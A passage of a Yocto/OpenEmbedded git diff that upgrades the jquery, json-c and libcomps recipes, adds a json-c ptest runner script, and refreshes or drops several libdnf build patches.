+INSANE_SKIP:${PN} += "dev-deps"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/jquery/jquery_3.5.1.bb b/meta/recipes-devtools/jquery/jquery_3.5.1.bb
deleted file mode 100644
index 62f0dfb0c5..0000000000
--- a/meta/recipes-devtools/jquery/jquery_3.5.1.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "jQuery is a fast, small, and feature-rich JavaScript library"
-HOMEPAGE = "https://jquery.com/"
-LICENSE = "MIT"
-SECTION = "devel"
-LIC_FILES_CHKSUM = "file://${S}/${BP}.js;beginline=8;endline=10;md5=ebd7bc5d23ab165188e526a0c65d24bb"
-
-# unpack items to ${S} so the archiver can see them
-#
-SRC_URI = "\
- https://code.jquery.com/${BP}.js;name=js;subdir=${BP} \
- https://code.jquery.com/${BP}.min.js;name=min;subdir=${BP} \
- https://code.jquery.com/${BP}.min.map;name=map;subdir=${BP} \
- "
-
-SRC_URI[js.sha256sum] = "416a3b2c3bf16d64f6b5b6d0f7b079df2267614dd6847fc2f3271b4409233c37"
-SRC_URI[min.sha256sum] = "f7f6a5894f1d19ddad6fa392b2ece2c5e578cbf7da4ea805b6885eb6985b6e3d"
-SRC_URI[map.sha256sum] = "511d6f6d3e7acec78cd2505f04282b6e01329b4c24931f39d91739d0d1ddeef8"
-
-UPSTREAM_CHECK_REGEX = "jquery-(?P<pver>\d+(\.\d+)+)\.js"
-
-inherit allarch
-
-do_install() {
- install -d ${D}${datadir}/javascript/${BPN}/
- install -m 644 ${S}/${BP}.js ${D}${datadir}/javascript/${BPN}/${BPN}.js
- install -m 644 ${S}/${BP}.min.js ${D}${datadir}/javascript/${BPN}/${BPN}.min.js
- install -m 644 ${S}/${BP}.min.map ${D}${datadir}/javascript/${BPN}/${BPN}.min.map
-}
-
-PACKAGES = "${PN}"
-FILES_${PN} = "${datadir}"
-
-BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-devtools/jquery/jquery_3.7.1.bb b/meta/recipes-devtools/jquery/jquery_3.7.1.bb
new file mode 100644
index 0000000000..33147b493c
--- /dev/null
+++ b/meta/recipes-devtools/jquery/jquery_3.7.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "jQuery is a fast, small, and feature-rich JavaScript library"
+HOMEPAGE = "https://jquery.com/"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "MIT"
+SECTION = "devel"
+LIC_FILES_CHKSUM = "file://${S}/${BP}.js;beginline=5;endline=7;md5=9c7c6e9ab275fc1e0d99cb7180ecd14c"
+
+# unpack items to ${S} so the archiver can see them
+#
+SRC_URI = "\
+ https://code.jquery.com/${BP}.js;name=js;subdir=${BP} \
+ https://code.jquery.com/${BP}.min.js;name=min;subdir=${BP} \
+ https://code.jquery.com/${BP}.min.map;name=map;subdir=${BP} \
+ "
+
+SRC_URI[js.sha256sum] = "78a85aca2f0b110c29e0d2b137e09f0a1fb7a8e554b499f740d6744dc8962cfe"
+SRC_URI[min.sha256sum] = "fc9a93dd241f6b045cbff0481cf4e1901becd0e12fb45166a8f17f95823f0b1a"
+SRC_URI[map.sha256sum] = "5e7d6d9c28b7f21006535e8875eb47e9667852a14c4624eed301c6cea19ae62b"
+
+UPSTREAM_CHECK_REGEX = "jquery-(?P<pver>\d+(\.\d+)+)\.js"
+
+# https://github.com/jquery/jquery/issues/3927
+CVE_STATUS[CVE-2007-2379] = "upstream-wontfix: There are ways jquery can expose security issues but any issues \
+are in the apps exposing them and there is little we can directly do."
+
+inherit allarch
+
+do_install() {
+ install -d ${D}${datadir}/javascript/${BPN}/
+ install -m 644 ${S}/${BP}.js ${D}${datadir}/javascript/${BPN}/${BPN}.js
+ install -m 644 ${S}/${BP}.min.js ${D}${datadir}/javascript/${BPN}/${BPN}.min.js
+ install -m 644 ${S}/${BP}.min.map ${D}${datadir}/javascript/${BPN}/${BPN}.min.map
+}
+
+PACKAGES = "${PN}"
+FILES:${PN} = "${datadir}"
+
+BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-devtools/json-c/json-c/run-ptest b/meta/recipes-devtools/json-c/json-c/run-ptest
new file mode 100644
index 0000000000..2d0e94cd3a
--- /dev/null
+++ b/meta/recipes-devtools/json-c/json-c/run-ptest
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+# This script is used to run json-c test suites
+cd tests
+
+ret_val=0
+for i in test*.test; do
+ # test_basic is not an own testcase, just
+ # contains common code of other tests
+ if [ "$i" != "test_basic.test" ]; then
+ if ./$i >> json-c_test.log 2>&1 ; then
+ echo PASS: $i
+ else
+ ret_val=1
+ echo FAIL: $i
+ fi
+ fi
+done
+
+exit $ret_val
diff --git a/meta/recipes-devtools/json-c/json-c_0.15.bb b/meta/recipes-devtools/json-c/json-c_0.15.bb
deleted file mode 100644
index 2968590dd8..0000000000
--- a/meta/recipes-devtools/json-c/json-c_0.15.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "C bindings for apps which will manipulate JSON data"
-DESCRIPTION = "JSON-C implements a reference counting object model that allows you to easily construct JSON objects in C."
-HOMEPAGE = "https://github.com/json-c/json-c/wiki"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=de54b60fbbc35123ba193fea8ee216f2"
-
-SRC_URI = "https://s3.amazonaws.com/json-c_releases/releases/${BP}.tar.gz"
-
-SRC_URI[sha256sum] = "b8d80a1ddb718b3ba7492916237bbf86609e9709fb007e7f7d4322f02341a4c6"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "json-c-(?P<pver>\d+(\.\d+)+)-\d+"
-
-RPROVIDES_${PN} = "libjson"
-
-inherit cmake
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/json-c/json-c_0.17.bb b/meta/recipes-devtools/json-c/json-c_0.17.bb
new file mode 100644
index 0000000000..20bcece768
--- /dev/null
+++ b/meta/recipes-devtools/json-c/json-c_0.17.bb
@@ -0,0 +1,34 @@
+SUMMARY = "C bindings for apps which will manipulate JSON data"
+DESCRIPTION = "JSON-C implements a reference counting object model that allows you to easily construct JSON objects in C."
+HOMEPAGE = "https://github.com/json-c/json-c/wiki"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=de54b60fbbc35123ba193fea8ee216f2"
+
+SRC_URI = "https://s3.amazonaws.com/json-c_releases/releases/${BP}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "7550914d58fb63b2c3546f3ccfbe11f1c094147bd31a69dcd23714d7956159e6"
+
+# NVD uses full tag name including date
+CVE_VERSION = "0.17-20230812"
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/tags"
+UPSTREAM_CHECK_REGEX = "json-c-(?P<pver>\d+(\.\d+)+)-\d+"
+
+RPROVIDES:${PN} = "libjson"
+
+# Required for ICECC builds
+EXTRA_OECMAKE = "-DDISABLE_WERROR=ON"
+
+inherit cmake ptest
+
+do_install_ptest() {
+ install -d ${D}/${PTEST_PATH}/tests
+ install ${B}/tests/test* ${D}/${PTEST_PATH}/tests
+ install ${S}/tests/*.test ${D}/${PTEST_PATH}/tests
+ install ${S}/tests/*.expected ${D}/${PTEST_PATH}/tests
+ install ${S}/tests/test-defs.sh ${D}/${PTEST_PATH}/tests
+ install ${S}/tests/*json ${D}/${PTEST_PATH}/tests
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch b/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch
deleted file mode 100644
index f4fb6d3b20..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 72065bb2b5881dc224299f302379391aebdfca3d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 21 Nov 2018 13:09:05 +0100
-Subject: [PATCH 1/2] Add crc32.c to sources list
-
-Otherwise, there is a missing symbol runtime error under musl C library.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libcomps/src/python/src/CMakeLists.txt | 4 ++--
- libcomps/src/python/src/crc32.c | 2 +-
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/libcomps/src/python/src/CMakeLists.txt b/libcomps/src/python/src/CMakeLists.txt
-index adabb31..b9b96ab 100644
---- a/libcomps/src/python/src/CMakeLists.txt
-+++ b/libcomps/src/python/src/CMakeLists.txt
-@@ -9,13 +9,13 @@ set (pycomps_SRCDIR ${CMAKE_CURRENT_SOURCE_DIR})
- set (pycomps_SRC pycomps.c pycomps_sequence.c
- pycomps_envs.c pycomps_categories.c pycomps_groups.c
- pycomps_gids.c pycomps_utils.c pycomps_dict.c pycomps_mdict.c
-- pycomps_hash.c pycomps_exc.c pycomps_lbw.c)
-+ pycomps_hash.c pycomps_exc.c pycomps_lbw.c crc32.c)
-
- set (pycomps_HEADERS pycomps_23macros.h pycomps_sequence.h
- pycomps_envs.h pycomps_categories.h pycomps_groups.h
- pycomps_gids.h pycomps_utils.h pycomps_dict.h pycomps_mdict.h
- pycomps_hash.h pycomps_exc.h pycomps_lbw.h
-- pycomps_types.h)
-+ pycomps_types.h crc32.h)
-
- #set(TEST_FILES ../__init__.py __test.py test_merge_comps.py test_libcomps.py
- # utest.py)
-diff --git a/libcomps/src/python/src/crc32.c b/libcomps/src/python/src/crc32.c
-index d8f5e34..f266067 100644
---- a/libcomps/src/python/src/crc32.c
-+++ b/libcomps/src/python/src/crc32.c
-@@ -41,7 +41,7 @@
- */
-
- #include <sys/param.h>
--#include <sys/systm.h>
-+#include <stdint.h>
-
- static uint32_t crc32_tab[] = {
- 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
---
-2.26.2
-
diff --git a/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index 3e9102605b..6cd052889a 100644
--- a/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -10,18 +10,18 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/libcomps/src/python/src/CMakeLists.txt b/libcomps/src/python/src/CMakeLists.txt
-index b9b96ab..6d44567 100644
+index f813af4..9eebb6c 100644
--- a/libcomps/src/python/src/CMakeLists.txt
+++ b/libcomps/src/python/src/CMakeLists.txt
-@@ -115,7 +115,7 @@ IF (SKBUILD)
+@@ -85,7 +85,7 @@ IF (SKBUILD)
INSTALL(FILES libcomps/__init__.py DESTINATION libcomps/src/python/src/libcomps)
INSTALL(TARGETS pycomps LIBRARY DESTINATION libcomps/src/python/src/libcomps)
ELSE ()
-- EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+ #EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+- EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++ #EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INSTALL(FILES ${pycomps_SRCDIR}/libcomps/__init__.py DESTINATION ${PYTHON_INSTALL_DIR}/libcomps)
#INSTALL(FILES ${pycomps_SRCDIR}/tests/__test.py DESTINATION
--
-2.26.2
+2.25.1
diff --git a/meta/recipes-devtools/libcomps/libcomps_0.1.15.bb b/meta/recipes-devtools/libcomps/libcomps_0.1.15.bb
deleted file mode 100644
index 98c55dca85..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps_0.1.15.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Libcomps is alternative for yum.comps library (which is for managing rpm package groups)."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/rpm-software-management/libcomps.git \
- file://0001-Add-crc32.c-to-sources-list.patch \
- file://0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- "
-
-SRCREV = "b213f749405d84e989b25e183bcf28ce701696dd"
-
-S = "${WORKDIR}/git"
-
-inherit cmake distutils3-base
-
-DEPENDS += "libxml2 expat libcheck"
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
-OECMAKE_SOURCEPATH = "${S}/libcomps"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/libcomps/libcomps_0.1.21.bb b/meta/recipes-devtools/libcomps/libcomps_0.1.21.bb
new file mode 100644
index 0000000000..91170dfbed
--- /dev/null
+++ b/meta/recipes-devtools/libcomps/libcomps_0.1.21.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Libcomps is alternative for yum.comps library (which is for managing rpm package groups)."
+HOMEPAGE = "https://github.com/rpm-software-management/libcomps"
+DESCRIPTION = "Libcomps is alternative for yum.comps library. It's written in pure C as library and there's bindings for python2 and python3."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/rpm-software-management/libcomps.git;branch=master;protocol=https \
+ file://0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ "
+
+SRCREV = "2e973ce22698dd64f472180e3a689755268fb06b"
+
+S = "${WORKDIR}/git"
+
+inherit cmake setuptools3-base
+
+DEPENDS = "expat libxml2 zlib"
+
+EXTRA_OECMAKE = "-DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
+ -DENABLE_DOCS=OFF \
+ -DENABLE_TESTS=OFF"
+
+OECMAKE_SOURCEPATH = "${S}/libcomps"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
deleted file mode 100644
index 384add5e12..0000000000
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 7d60d62b5c5374156703ca7262fb2f85ec5db119 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 6 Nov 2018 13:54:43 +0100
-Subject: [PATCH] Add WITH_TESTS option
-
-This makes a dependency on cppunit optional.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- CMakeLists.txt | 3 +++
- python/hawkey/CMakeLists.txt | 2 ++
- 2 files changed, 5 insertions(+)
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 9c6e1b2f..8599c540 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -33,6 +33,7 @@ option(WITH_MAN "Enables hawkey man page generation" ON)
- option(WITH_ZCHUNK "Build with zchunk support" ON)
- option(ENABLE_RHSM_SUPPORT "Build with Red Hat Subscription Manager support?" OFF)
- option(ENABLE_SOLV_URPMREORDER "Build with support for URPM-like solution reordering?" OFF)
-+option(WITH_TESTS "Enables unit tests" ON)
-
-
- # build options - debugging
-@@ -179,8 +180,10 @@ endif()
-
-
- # build tests
-+IF (WITH_TESTS)
- enable_testing()
- add_subdirectory(tests)
-+ENDIF()
- if(WITH_BINDINGS)
- add_subdirectory(python/hawkey)
- endif()
-diff --git a/python/hawkey/CMakeLists.txt b/python/hawkey/CMakeLists.txt
-index d9645346..84d17204 100644
---- a/python/hawkey/CMakeLists.txt
-+++ b/python/hawkey/CMakeLists.txt
-@@ -50,4 +50,6 @@ target_link_libraries(_hawkeymodule ${PYTHON_LIBRARY})
- install(FILES __init__.py DESTINATION ${PYTHON_INSTALL_DIR}/hawkey)
- install(TARGETS _hawkeymodule LIBRARY DESTINATION ${PYTHON_INSTALL_DIR}/hawkey)
-
-+IF (WITH_TESTS)
- add_subdirectory(tests)
-+ENDIF()
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch b/meta/recipes-devtools/libdnf/libdnf/0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch
index 791a32e748..046e09eab2 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch
@@ -1,7 +1,7 @@
-From 9bb7630915c3e787732463a3e2064fe0e177101b Mon Sep 17 00:00:00 2001
+From 5d6db56791d326e6b486dca54fe2335af0225229 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 24 Nov 2016 14:33:07 +0200
-Subject: [PATCH 1/4] FindGtkDoc.cmake: drop the requirement for
+Subject: [PATCH] FindGtkDoc.cmake: drop the requirement for
GTKDOC_SCANGOBJ_WRAPPER
For some reason cmake is not able to find it when building in openembedded,
@@ -14,7 +14,7 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/cmake/modules/FindGtkDoc.cmake b/cmake/modules/FindGtkDoc.cmake
-index 92b2cc7..39f34bd 100644
+index 92b2cc7e..39f34bd5 100644
--- a/cmake/modules/FindGtkDoc.cmake
+++ b/cmake/modules/FindGtkDoc.cmake
@@ -52,7 +52,7 @@ find_program(GTKDOC_MKHTML_EXE gtkdoc-mkhtml PATH "${GLIB_PREFIX}/bin")
@@ -26,6 +26,3 @@ index 92b2cc7..39f34bd 100644
VERSION_VAR GtkDoc_VERSION)
# ::
---
-2.11.0
-
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch
index 10450defbe..223c1be218 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch
@@ -1,4 +1,4 @@
-From 9294cd19e5e3121fb8d37b44ee82dd7c4b3ab2c7 Mon Sep 17 00:00:00 2001
+From bf9bde4af952b67cc357d25b9863889099ea9665 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 7 Feb 2017 12:16:03 +0200
Subject: [PATCH] Get parameters for both libsolv and libsolvext (libdnf is
@@ -7,21 +7,20 @@ Subject: [PATCH] Get parameters for both libsolv and libsolvext (libdnf is
Upstream-Status: Submitted [https://github.com/rpm-software-management/libdnf/pull/312]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
CMakeLists.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index b722d4fb..ce88b9e3 100644
+index e99b28d0..548a9137 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -45,7 +45,7 @@ endif()
+@@ -51,7 +51,7 @@ endif()
+
# build dependencies
- find_package(Gpgme REQUIRED)
-PKG_CHECK_MODULES (LIBSOLV REQUIRED libsolv)
+PKG_CHECK_MODULES (LIBSOLV REQUIRED libsolv libsolvext)
set(LIBSOLV_LIBRARY ${LIBSOLV_LIBRARIES})
- find_package(OpenSSL REQUIRED)
+
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch
deleted file mode 100644
index 6dd7c71aae..0000000000
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From b570c7f8bd089deec7da2b108aa789a27025a473 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 19 Nov 2019 13:46:09 +0100
-Subject: [PATCH] Look fo sphinx only if documentation is actually enabled
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- docs/hawkey/CMakeLists.txt | 20 +++++++++++---------
- 1 file changed, 11 insertions(+), 9 deletions(-)
-
-diff --git a/docs/hawkey/CMakeLists.txt b/docs/hawkey/CMakeLists.txt
-index 52cc35c6..63c7672f 100644
---- a/docs/hawkey/CMakeLists.txt
-+++ b/docs/hawkey/CMakeLists.txt
-@@ -2,15 +2,17 @@
- # tell sphinx-build to do them both in one go:
-
-
--find_program(SPHINX_PROGRAM NAMES "sphinx-build-${PYTHON_VERSION_MAJOR}.${PYTHON_VERSION_MINOR}")
--if(NOT EXISTS ${SPHINX_PROGRAM})
-- find_program(SPHINX_PROGRAM NAMES sphinx-build-${PYTHON_VERSION_MAJOR})
--endif()
--if(NOT EXISTS ${SPHINX_PROGRAM})
-- find_program(SPHINX_PROGRAM NAMES sphinx-build)
--endif()
--if(NOT EXISTS ${SPHINX_PROGRAM})
-- message(FATAL_ERROR "Sphinx program not found." )
-+if (WITH_HTML OR WITH_MAN)
-+ find_program(SPHINX_PROGRAM NAMES "sphinx-build-${PYTHON_VERSION_MAJOR}.${PYTHON_VERSION_MINOR}")
-+ if(NOT EXISTS ${SPHINX_PROGRAM})
-+ find_program(SPHINX_PROGRAM NAMES sphinx-build-${PYTHON_VERSION_MAJOR})
-+ endif()
-+ if(NOT EXISTS ${SPHINX_PROGRAM})
-+ find_program(SPHINX_PROGRAM NAMES sphinx-build)
-+ endif()
-+ if(NOT EXISTS ${SPHINX_PROGRAM})
-+ message(FATAL_ERROR "Sphinx program not found." )
-+ endif()
- endif()
-
- if(WITH_HTML)
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch b/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch
new file mode 100644
index 0000000000..27f76077d7
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch
@@ -0,0 +1,39 @@
+From a6b3bc4fb3db996cd6c5616a99c16d085704dae0 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Tue, 1 Jun 2021 10:23:59 +0800
+Subject: [PATCH] drop FindPythonInstDir.cmake
+
+Since commit [1] applied, PYTHON_INSTALL_DIR is not right
+on nativesdk build
+...
+|Building for python3
+|-- Python install dir is
+|tmp-glibc/work/x86_64-nativesdk-wrlinuxsdk-linux/nativesdk-libdnf/0.63.0-r0/
+recipe-sysroot-native/usr/lib/python3.9/site-packages
+...
+
+Yocto manually set PYTHON_INSTALL_DIR from recipe, it is not
+necessary to call FindPythonInstDir.cmake which will override
+Yocto setting
+
+[1] https://github.com/rpm-software-management/libdnf/commit/f1cffbfb9f338da827e233c2d8ac3a25a6a59a69
+
+Upstream-Status: Inappropriate [Yocto specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ cmake/modules/FindPythonInstDir.cmake | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+diff --git a/cmake/modules/FindPythonInstDir.cmake b/cmake/modules/FindPythonInstDir.cmake
+index ed098ded..8b137891 100644
+--- a/cmake/modules/FindPythonInstDir.cmake
++++ b/cmake/modules/FindPythonInstDir.cmake
+@@ -1,6 +1 @@
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
+-from sys import stdout
+-from sysconfig import get_path
+-path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
+-stdout.write(path)"
+-OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++
diff --git a/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch b/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch
index 475c8f120b..ecab47e5af 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch
@@ -1,4 +1,4 @@
-From 18c2c06017784cd641cc8a3deee5fc472008f7f4 Mon Sep 17 00:00:00 2001
+From e40def862bdeb10da295b15c5904fe2829d391c7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:24:50 +0200
Subject: [PATCH] Set libsolv variables with pkg-config (cmake's own module
@@ -7,22 +7,21 @@ Subject: [PATCH] Set libsolv variables with pkg-config (cmake's own module
Upstream-Status: Submitted [https://github.com/rpm-software-management/libdnf/pull/312]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
CMakeLists.txt | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 16b63308..b722d4fb 100644
+index 6444c374..e99b28d0 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -45,7 +45,8 @@ endif()
+@@ -51,7 +51,8 @@ endif()
+
# build dependencies
- find_package(Gpgme REQUIRED)
--find_package(LibSolv 0.6.30 REQUIRED COMPONENTS ext)
+-find_package(LibSolv 0.7.21 REQUIRED COMPONENTS ext)
+PKG_CHECK_MODULES (LIBSOLV REQUIRED libsolv)
+set(LIBSOLV_LIBRARY ${LIBSOLV_LIBRARIES})
- find_package(OpenSSL REQUIRED)
+ # build dependencies via pkg-config
diff --git a/meta/recipes-devtools/libdnf/libdnf/armarch.patch b/meta/recipes-devtools/libdnf/libdnf/armarch.patch
new file mode 100644
index 0000000000..63debdb58f
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/armarch.patch
@@ -0,0 +1,50 @@
+From aa0f8b65feec64420a9b7b61cfcc8bcce161e14b Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 9 Nov 2023 10:29:31 +0000
+Subject: [PATCH] libdnf: Fix arm arch mapping issues for qemuarmv5
+
+We change the way rpm architectures work, we make the machine name the default machine
+specific package architecture.
+
+This arm mapping code can work or in the case of qemuarmv5, it doesn't as it creates
+armv5hl which doesn't exist and causes errrors. We can simply remove it, we don't need it.
+
+Upstream-Status: Inappropriate [Relies on OE rpm config]
+---
+ libdnf/hy-util.cpp | 23 -----------------------
+ 1 file changed, 23 deletions(-)
+
+diff --git a/libdnf/hy-util.cpp b/libdnf/hy-util.cpp
+index 9978c8e9..aa1369b6 100644
+--- a/libdnf/hy-util.cpp
++++ b/libdnf/hy-util.cpp
+@@ -117,29 +117,6 @@ hy_detect_arch(char **arch)
+ if (uname(&un) < 0)
+ return DNF_ERROR_FAILED;
+
+- if (!strncmp(un.machine, "armv", 4)) {
+- /* un.machine is armvXE, where X is version number and E is
+- * endianness (b or l); we need to add modifiers such as
+- * h (hardfloat), n (neon). Neon is a requirement of armv8 so
+- * as far as rpm is concerned armv8l is the equivilent of armv7hnl
+- * (or 7hnb) so we don't explicitly add 'n' for 8+ as it's expected. */
+- char endian = un.machine[strlen(un.machine)-1];
+- char *modifier = un.machine + 5;
+- while(isdigit(*modifier)) /* keep armv7, armv8, armv9, armv10, armv100, ... */
+- modifier++;
+- if (getauxval(AT_HWCAP) & HWCAP_ARM_VFP)
+- *modifier++ = 'h';
+- if ((atoi(un.machine+4) == 7) && (getauxval(AT_HWCAP) & HWCAP_ARM_NEON))
+- *modifier++ = 'n';
+- *modifier++ = endian;
+- *modifier = 0;
+- }
+-#ifdef __MIPSEL__
+- if (!strcmp(un.machine, "mips"))
+- strcpy(un.machine, "mipsel");
+- else if (!strcmp(un.machine, "mips64"))
+- strcpy(un.machine, "mips64el");
+-#endif
+ *arch = g_strdup(un.machine);
+ return 0;
+ }
diff --git a/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch b/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch
index e3784cc9e4..e4f6d447f1 100644
--- a/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch
@@ -1,4 +1,7 @@
-libdnf: allow reproducible binary builds
+From 25229773a9d4472235278bb45f75439e56630cee Mon Sep 17 00:00:00 2001
